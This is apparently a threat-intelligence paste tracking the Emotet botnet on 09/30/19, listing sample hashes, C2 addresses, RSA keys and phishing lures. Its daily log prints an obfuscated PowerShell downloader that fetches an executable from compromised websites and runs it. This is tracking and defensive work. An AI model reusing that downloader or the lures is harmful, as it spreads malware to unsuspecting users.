8401e804e59f51083d4cfb3ffc80f712667f88cea6932efb1189cf3d1f432f29
e1a1460870bf7fe3e0bcfe22d09440df1b0d812e4d33735abd9b25ff2e7b3978
d8c9efb3e954a1093512665155801855d44461c6dc5229565720c73f87cb5a29
0a6de22521c8d8975bcd36726d1626345bdc805e6305ae3590d31ec8dbfcd3ac
c4a0d25cc673cd04479ec655d7f1a011988af87161332fd4a90714a6fcc53953
5d0d0f55c890defbd49bc80095d64ec8a16330840e1274ecf8f0e7841bc2bfd7
a6e4cde5a1b9b6546846620c3143debb898730ab71d4f704d5ff58754e93a361
b6672d26194a6a8395b523f3fbe383550240d07f19aa27b7def912853cc1b99d
ea0bd26ef4dc7b8ef61481c89c89f2da40dfd80a81a96d5ea20c1b35d6342882
a62a3662fba87618a3fbac2628f0888accaf592041420582d55388aaa84d8607
ed775392a277dc48a39213cee7d85d5af18d44d0595a3ea4e2299bd82ba9b442
c8a8fdb84113d7d64a5299947c6f13d065e59d0dd295d3b80f583ef5e3fdb110
8bc95e021a26de8264dc6ece1c0007d9298e33b132a28c350e8cf91c845a87e7
e2c3c728115440a6d40282ea9c9955a34cae164ee6f01314614512487b5e9c1e
a90e415206e8c3b7a6746c9ae62024eb8941ef95078f088bb2d3f2bb809b6b5b
5252324397861d69b0dee3594250276a2b4e22f48b9bc61ae8e04cec551d9b08
d68f30d8f85930406686d8e585c73b7cbedbec75f19aa690be26fd347b245942
d3b7ba60c9485e398ac9ba09c639aa80a8cbb597b071e6c085d801cf58e4e022
bce3c43bce6a2e784b7867a76c7be179e028cb8fe7e6689aa509136b4859de4d
b258cf4e6bad9682c9f0b92cf9c023505b30725a4d2aa880373ee0844738a538
d5fd3ed4d09a55ac9186129b83b953f2c5c61341a150905f226e618022f35894
ea8cb30d1ad7a3f0dc9d682939be6f98b05d2ed490fca1335fb7a019e85e4e2c
a4b1aab5e3a7c8ae19e496f02ea25ce046798177f278056f926a0051291d8823
5f76db2e22f8e140e44ca42f414b33c77e93ff31cb4c54b7f82d27544117cca4
11c7129a3180863d010f214f8be15006176dfef08a8132768d085ea108819d64
1e68603415ce0dfd9f55c4306e1e5683e474fa211019f85c1363f90c8a72b916
2fe518da891afc278842c034db16992b5d587aac6a1e18353829ef71c1ff7bd0
9d6fa07489d8d44869d8e24deb75ea12e8c5271a6ad3e651f69e365ebc25b48a
e510bd4e052f2a51a44413bfe173364f755cbfe79e95b833ff7d13e879ff39f2
5dd47d648861fc6e42238a9f549c1a6cff5ec907eb77e3c72f4a8e5e04322caf
7e2b49bc1a9424b0fbf8503d9b30acd7b4aaa6fb53b0e586499047b89b0d4fc4
75c69e1693fc8a68c0087198a8f851083490427e2ba89310ebca41575e587fb9
62351e83dfa29b938f7939c33dc93a4bac0de87d311c32dec824d065c55aa493
268f93eec678d437d7dd4d50fbd2cb11dba3a1d43b4aa6286deff451e425ece5

C2’s Per Epoch

Epoch 1 C2s

104.79.48:8080
169.86.13:8080
170.129.113:443
79.134.129:443
159.150.176:443
59.124.163:8080
92.51.40:8080
168.4.66:22
68.106.4:7080
5.237.27:443
62.173.247:8080
80.142.33:80
203.204.126:8080
84.133.72:7080
84.133.72:8443
249.187.151:8080
79.163.131:8080
123.0.125:80
188.149.134:80
29.101.13:8080
36.42.205:443
82.97.25:80
69.214.94:20
187.198.10:8080
86.148.222:8080
0.95.172:80
83.133.253:8080
188.166.192:80
199.158.226:7080
235.239.214:8080
166.68.89:443
187.141.15:50000
1.37.125:443
104.253.234:990
158.19.141:80
221.50.210:8080
230.60.129:80
230.60.129:8080
38.14.52:80
57.102.71:8443
58.171.51:80
163.74.202:443
183.247.58:443
184.65.229:80
25.159.3:8080
71.237.140:8080
113.27.158:443
199.160.224:8080
199.175.216:8080
92.22.225:7080
163.144.228:80
21.105.59:8080
28.111.142:7080
29.183.211:8080
41.151.103:8080
196.35.138:7080
77.13.70:80
28.51.143:8080
15.8.192:8080
75.143.100:7080
75.160.178:8080
244.60.230:7080
244.60.231:7080
245.101.134:8080
55.211.77:8080
143.182.254:8080
240.141.141:7080
85.87.122:8080
169.140.14:443
42.166.147:80
106.77.40:7080
250.223.190:8080
188.124.145:443
205.215.57:7080
83.93.124:7080

Epoch 1 - Spam C2s

45.108.146:8080
55.82.2:8080
236.185.25:8080

Epoch 1 - Stealer C2s

228.32.31:443
50.170.27:8080
98.148.157:8080

Current Epoch 1 RSA Public Key

MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOzoTryw1r9RxRJPFKalO4+q7JaDZWSB
KZlEc22H6ITuE06tvJspue42TF1yk8xN+1bqW++QeV6Clm1uRswA/qoao/6p4eN0
h4zIO8PEaJ0C/9EO4cx9yfRLlVpjdEkP0QIDAQAB

Epoch 2 C2s

187.237.217:20
255.150.84:80
97.95.218:143
131.11.150:8080
236.246.93:8080
78.95.230:443
15.153.237:80
240.198.66:80
243.177.26:8080
201.140.110:8080
44.162.209:8080
139.247.220:80
167.86.174:990
202.153.252:8080
65.25.128:8080
239.182.217:8080
212.203.26:8080
254.6.27:7080
79.161.166:443
32.19.219:22
143.194.138:443
143.53.227:21
31.213.158:8080
176.106.43:995
176.132.213:8090
76.6.2:8080
14.187.201:8080
94.252.13:443
4.172.5:20
4.172.5:443
4.172.5:8080
75.241.230:80
144.189.58:50000
166.253.46:8080
209.217.49:80
106.97.230:443
108.228.48:990
145.67.134:8090
18.146.70:80
186.203.55:80
211.207.11:443
226.44.20:21
228.72.244:53
53.135.159:21
19.237.192:80
71.148.138:8080
251.43.69:8080
189.98.125:8080
63.71.72:8080
71.234.16:8080
145.83.44:80
160.182.191:8080
214.218.192:8080
51.106.145:21
147.163.188:8080
12.67.62:7080
172.240.91:8080
157.194.134:443
220.119.246:80
123.3.54:443
33.49.124:443
79.188.67:8080
105.131.87:80
41.213.2:22
196.74.210:8080
75.187.192:8080
142.253.122:8080
188.105.159:21
24.219.147:8080
11.163.139:21
11.163.139:443
136.245.190:8080
104.59.244:20
106.1.166:50000
98.25.30:53
106.136.232:8080
106.139.101:8080
230.19.21:8080
156.97.210:80
247.163.44:80
205.215.66:8080
222.125.16:7080
222.216.44:8080
233.128.13:143
205.247.10:80
128.43.213:8080

Epoch 2 - Spam C2s

43.168.232:443
187.198.4:8080
228.205.245:4143

Epoch 2 - Stealer C2s

105.131.69:443
31.200.130:8080
131.58.132:8080

Current Epoch 2 RSA Public Key

MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhALk+KlHgOKXm9eDkWu2yN9lanjwOm6W2
PV0tgr4msNVby2pOJ6S1MZQnQwxl7y6WWzT4kveAQhLmW8JB2M2PDOxZOgVMJH2C
AtkVW1p/P9jNJWVvjK9SmrbLdIeiKNtRfQIDAQAB

Epoch 3 C2s

179.216.46:8080
36.234.146:80
52.135.33:7080
88.70.226:7080
99.61.162:7080
197.140.163:8080
59.242.76:8080
95.101.72:8080
240.52.172:80
170.220.95:80
241.232.82:8080
58.93.123:80
249.187.150:7080
113.229.139:990
230.126.152:8090
231.62.54:80
55.171.237:8080
57.102.203:8080
10.16.244:53
29.155.101:50000
93.167.147:443
117.206.153:443
13.146.47:443
55.86.138:8443
96.118.15:443
211.244.6:443
114.134.8:20
244.125.210:995
150.19.63:443
154.222.52:7080
70.88.55:8080
60.202.26:22
33.1.161:8080
32.229.152:8080
189.148.98:8080
38.134.203:8080
45.30.28:80
109.34.178:443
227.67.18:20
169.33.157:8080
78.205.196:443
177.253.126:80

Epoch 3 - Spam C2s

162.144.47.94:7080
41.185.29.128:8080

Epoch 3 - Stealer C2s

178.32.255.133:443
198.46.150.196:7080

Current Epoch 3 RSA Public Key

MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM426uN11n2LZDk/JiS93WIWG7fGCQmP
4h5yIJUxJwrjwtGVexCelD2WKrDw9sa/xKwmQKk3b2fUhwnHXjoSpR7pLaDo7pEc
iJB5y6hjbPyrSfL3Fxu74M2SAS0Arj3uAQIDAQAB

Credits and Notes Section

WARNING - Some links may have been taken down shortly after I reported them to URLHaus.abuse.ch 
because they rock and report everything to ISPs as it is confirmed to be malware. Additionally, 
this list MAY include doc DL URLS from previous days, see the previous days here to get the full picture:
https://pastebin.com/u/jroosen
 
NOTE: The doc DL URLS are in alphabetical order now. The community lists below may contain content I do not have in my list.
I am providing them for your benefit in case you want to parse them to be sure.

What is Epoch 1, Epoch 2 and Epoch 3?

(09/17/19)
With the find of Epoch 3 today that split from Epoch 1, this section will be rewritten to reflect these changes in time.

Community Lists

https://twitter.com/Paladin3161/status/1178674850954543105
https://twitter.com/dms1899/status/1178714969459871744

(sorry if we miss anybody, make sure to send it to @cryptolaemus1 in your tweet and we will try to include it!)

Credits

Combination work of the Cryptolaemus Team - https://paste.cryptolaemus.com/about/ and/or specifically the following:

Doc DL URLs - @devnullnoop, @p5yb34m, @malware_traffic, @dms1899, @Paladin3161

C2 info/RSA Keys - @devnullnoop, @MalwareTechBlog, @lazyactivist192, @VK_Intel, @Paladin3161

Payloads - @devnullnoop, @MalwareTechBlog, @lazyactivist192, @p5yb34m, @malware_traffic, @Paladin3161, @ps66uk

Spam Templates - @devnullnoop

Special thanks to @devnullnoop, @2sec4u, @unixronin, @pollo290987, @ps66uk for creating scripts/servers/infrastructure and 
helping out with this!

Very special thanks to @capesandbox, @bigmacjpg and @decalage2 of the ViperMonkey Project https://github.com/decalage2/ViperMonkey , 
@digitalocean, @mploessel, @anyrun_app, @MalwareTechBlog, @unixronin, @hurricanelabs, @KryptosLogic, @abuse_ch/urlhaus.abuse.ch, 
@urlscanio, @BlackLotusLabs, @TrendMicro and @Virustotal for providing services/software no charge to this cause!

Daily Log 09/30/19

General News

emotet back at the top of the anyrun table - hooray(?) :|
https://twitter.com/anyrun_app/status/1178537316773765121

emotet chile
https://twitter.com/Bank_Security/status/1178543676957626368

header traps
https://twitter.com/ecstatic_nobel/status/1178672179896037377

yara rules
https://twitter.com/cyb3rops/status/1178670475964227585

Drops Report

emotet/ursnif (follow @D00RT_RM for more)
https://twitter.com/D00RT_RM/status/1178593605637857281

Email Template Report

all DOC used "Microsoft Office Activation Wizard" - https://twitter.com/ps66uk/status/1178594394540269568
all DOC used PowerShell

many early DOC appeared to misfire in anyrun sandbox - the PS script (example below) first goes to https://www.microsoft.com/ - if 
the response size is greater than a set value, the script attempts to execute it. If it's not a valid executable it causes a crash. 
This extra visit was removed in later DOC.

Possibilities
- it's an OS/browser check - s://www.microsoft.com/ gives different responses for different browsers/platforms, maybe an attempt to avoid 32bit sandboxes?

--------------------
<# https://www.microsoft.com/ #> 
$Intelligent_Rubber_Baconzhr='portrmb';
$forecastzht = '502';
$navigatinguwt='Frozenjst';
$Handcrafted_Cotton_Cheesecqk=$env:userprofile+'\'+$forecastzht+'.exe';
$Corporateptj='hapticnms';
$ecocentricqmu=&('ne'+'w-obje'+'ct') nET.webcLIenT;
$Generic_Plastic_Sausageskwn='https://www.microsoft.com@http://surecleanpressurewashing.com/wp-content/am654a03uz-hc0-05581429/@https://www.whitebellstravels.com/wp-content/cwc62t2-rvdwoly51r-145/@https://beactivedigital.com/wp-content/EEHVRT/@http://leniomontalverne.com/wp-admin/7ww-wh4pe-88754/@http://www.mmmwllmr.com/wp-admin/XBlHQNd/'."s`PlIT"('@');
$Multitieredshw='Forwardhuc';
foreach($Usabilityifi in $Generic_Plastic_Sausageskwn){
    try{
        $ecocentricqmu."d`o`w`NLOADfile"($Usabilityifi, $Handcrafted_Cotton_Cheesecqk);
        $backgroundiri='frictionlesstri';
        If ((.('Get-'+'It'+'em') $Handcrafted_Cotton_Cheesecqk)."lE`NG`TH" -ge 24450) {
            [Diagnostics.Process]::"s`TaRt"($Handcrafted_Cotton_Cheesecqk);
            $functionalitiesapb='Guineakkf';
            break;
            $tealjai='turnkeyzit'
        }
    }
    catch{}
}
$Representativepmb='navigateksa'
--------------------


Phrases observed:
----
Can you check the list so I can contra them out of our system. Also  remove from your base.
Kindly assist, please.
--------------------
Attached is a invoice who is copied on this email that she attempted to send to you last week and asked me to forward to you.
Thank you for your business - we appreciate it very much.
--------------------
Should you have any questions, please contact us at your earliest convenience.
--------------------
This file is an data for September. If you have questions on this please contact ****** for more information.

Link Regex Report

Waiting for more the next few days IF they come back.

Payloads Report

DOC releases:
E1 2019:09:30 07:19:00 goitsoluciones.com
E2 2019:09:30 07:46:00 www.converse8ion.com
E3 2019:09:30 08:31:00 surecleanpressurewashing.com
E1 
E2 2019:09:30 10:57:00 batdongsanminhmanh.com
E3 2019:09:30 12:36:00 edealsadvisor.com
E1 2019:09:30 14:29:00 www.mercurycardetailing.com
E2 2019:09:30 14:01:00 www.materialsscienceconferences.com
E3 2019:09:30 14:18:00 baliessentialproperties.com
E1
E2 2019:09:30 18:50:00 prewento.com
E3



EXE releases:

hash lists above include the weekend catchup.For today:
E1 - 6 hash spread out, last at 22:25 UTC
E2 - 7 hash up to 20:45 UTC then new hash every ~10minutes (27 in total)
E3 - 3 hash,last at 15:25 UTC

C2 Report

combos on E1
combos on E2
combos on E3

Closing

TT

Sandbox 09/30/19

E1
https://capesandbox.com/submit/status/1916/


E2
https://capesandbox.com/submit/status/1925/


E3
https://capesandbox.com/submit/status/1924/